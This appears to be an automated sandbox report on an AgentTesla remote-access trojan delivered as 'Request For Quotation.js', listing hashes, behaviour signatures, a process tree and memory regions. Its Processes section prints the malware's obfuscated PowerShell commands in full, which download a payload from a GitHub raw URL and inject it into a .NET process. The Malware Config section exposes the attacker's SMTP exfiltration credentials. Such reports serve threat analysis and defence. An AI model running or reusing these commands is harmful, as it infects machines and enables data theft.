Analysis

  • max time kernel
    95s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-10-2024 05:15

General

  • Target

    Request For Quotation.js

  • Size

    131KB

  • MD5

    55f3ba85c0e1546b907ec0f2465f6bac

  • SHA1

    59c6d5157b6cb30040f0226599c99f07c361f822

  • SHA256

    c35922ffe621f1719e7346a3fa7ba779766c44481ed2ad785782cc7bf693376c

  • SHA512

    478496891e630b260802e97f20132adf1b06b22f35b059e9f9176e6e5f777d63184b45c32efbf4981f53f02ecff31640e84661164a90d550a1d061e1edde3d1b

  • SSDEEP

    3072:/N+oukZXE8KRI4V1AulQkcunvyhLZm2MKIvgzJJY6N+oukZXE8KRI4V1AulQkcuz:/xukZ08baeulQ/uni/M5vgzXY6xukZ07

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.detarcoopmedical.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Request For Quotation.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACgAVgBBAHIAaQBBAGIATABlACAAJwAqAE0ARAByACoAJwApAC4AbgBhAG0ARQBbADMALAAxADEALAAyAF0ALQBKAG8AaQBOACcAJwApACAAKAAoACcAbwAnACsAJwBIACcAKwAnAHMAdQByAGwAIAA9ACAAJwArACcAagAwAEwAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAJwArACcALwAvAHIAJwArACcAYQB3AC4AZwBpAHQAJwArACcAaAB1ACcAKwAnAGIAdQBzAGUAJwArACcAcgBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC4AYwBvAG0ALwBOAG8ARABlACcAKwAnAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQB0ACcAKwAnAGUAYwAnACsAJwB0ACcAKwAnAE8AbgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQAnACsAJwBuACcAKwAnAC8AJwArACcARABlAHQAYQAnACsAJwBoAE4AJwArACcAbwB0AGUAJwArACcAXwBKAC4AJwArACcAdAAnACsAJwB4AHQAagAnACsAJwAwAEwAOwAnACsAJwAgAG8ASAAnACsAJwBzAGIAYQBzAGUAJwArACcANgA0AEMAbwAnACsAJwBuAHQAZQBuAHQAJwArACcAIAA9ACcAKwAnACAAKABOAGUAdwAtACcAKwAnAE8AYgBqAGUAYwB0ACAAUwB5ACcAKwAnAHMAdABlAG0AJwArACcALgBOAGUAJwArACcAdAAuAFcAZQBiAEMAbAAnACsAJwBpACcAKwAnAGUAbgB0ACkALgBEAG8AdwAnACsAJwBuAGwAJwArACcAbwBhAGQAUwAnACsAJwB0A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wAnACwAIAB0AGIATQBkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAHQAYgBNACwAJwArACcAIAB0ACcAKwAnAGIATQAnACsAJwBBAGQAJwArACcAZABJAG4AUAByACcAKwAnAG8AYwBlAHMAcwAnACsAJwAzADIAJwArACcAdAAnACsAJwBiAE0ALAAgAHQAJwArACcAYgAnACsAJwBNAGQAZQBzAGEAdAAnACsAJwBpAHYAYQBkAG8AdABiAE0AJwArACcALAB0AGIATQB0AGIATQApACcAKQAuAHIARQBQAEwAYQBjAGUAKAAoAFsAYwBoAEEAcgBdADEAMQA2ACsAWwBjAGgAQQByAF0AOQA4ACsAWwBjAGgAQQByAF0ANwA3ACkALABbAFMAVABSAEkATgBHAF0AWwBjAGgAQQByAF0AMwA0ACkALgByAEUAUABMAGEAYwBlACgAJwBqADAATAAnACwAWwBTAFQAUgBJAE4ARwBdAFsAYwBoAEEAcgBdADMAOQApAC4AcgBFAFAATABhAGMAZQAoACcAbwBIAHMAJwAsAFsAUwBUAFIASQBOAEcAXQBbAGMAaABBAHIAXQAzADYAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((VAriAbLe '*MDr*').namE[3,11,2]-JoiN'') (('o'+'H'+'surl = '+'j0Lhttp'+'s'+':'+'//r'+'aw.git'+'hu'+'buse'+'rconte'+'nt'+'.com/NoDe'+'tec'+'tOn/NoDet'+'ec'+'t'+'On/refs/heads/mai'+'n'+'/'+'Deta'+'hN'+'ote'+'_J.'+'t'+'xtj'+'0L;'+' oH'+'sbase'+'64Co'+'ntent'+' ='+' (New-'+'Object Sy'+'stem'+'.Ne'+'t.WebCl'+'i'+'ent).Dow'+'nl'+'oadS'+'tring(o'+'H'+'surl'+')'+'; '+'oHsb'+'inaryCo'+'n'+'tent = [Sys'+'tem'+'.Convert]'+'::'+'FromBa'+'se64String(oHsba'+'se64Cont'+'ent'+'); o'+'Hsa'+'ss'+'embly = [Re'+'flec'+'tion.'+'As'+'sembly]::Load(oHsbinaryCon'+'te'+'nt'+'); [dnlib.IO.H'+'ome]:'+':VA'+'I(tbMt'+'xt.rro/'+'ved.2r'+'.39b34'+'5302a075b'+'1bc0d'+'45b632'+'eb'+'9ee62'+'-'+'bu'+'p//:s'+'pt'+'tht'+'b'+'M, tbM'+'des'+'ativa'+'dotbM'+', '+'tbMdesativado'+'tbM'+', tbMdesa'+'tivadotbM,'+' t'+'bM'+'Ad'+'dInPr'+'ocess'+'32'+'t'+'bM, t'+'b'+'Mdesat'+'ivadotbM'+',tbMtbM)').rEPLace(([chAr]116+[chAr]98+[chAr]77),[STRING][chAr]34).rEPLace('j0L',[STRING][chAr]39).rEPLace('oHs',[STRING][chAr]36))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1688
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2268

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    1a11402783a8686e08f8fa987dd07bca

    SHA1

    580df3865059f4e2d8be10644590317336d146ce

    SHA256

    9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

    SHA512

    5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lxiyngcg.vjh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1688-22-0x0000016A59260000-0x0000016A59480000-memory.dmp

    Filesize

    2.1MB

  • memory/2268-32-0x0000000006960000-0x00000000069F2000-memory.dmp

    Filesize

    584KB

  • memory/2268-23-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/2268-30-0x0000000005B70000-0x0000000006114000-memory.dmp

    Filesize

    5.6MB

  • memory/2268-31-0x0000000005510000-0x0000000005576000-memory.dmp

    Filesize

    408KB

  • memory/2268-33-0x0000000006A50000-0x0000000006AA0000-memory.dmp

    Filesize

    320KB

  • memory/2268-34-0x0000000006B40000-0x0000000006BDC000-memory.dmp

    Filesize

    624KB

  • memory/2268-35-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

    Filesize

    40KB

  • memory/2836-12-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

    Filesize

    10.8MB

  • memory/2836-11-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

    Filesize

    10.8MB

  • memory/2836-1-0x000002CD59650000-0x000002CD59672000-memory.dmp

    Filesize

    136KB

  • memory/2836-29-0x00007FFDC93D0000-0x00007FFDC9E91000-memory.dmp

    Filesize

    10.8MB

  • memory/2836-0-0x00007FFDC93D3000-0x00007FFDC93D5000-memory.dmp

    Filesize

    8KB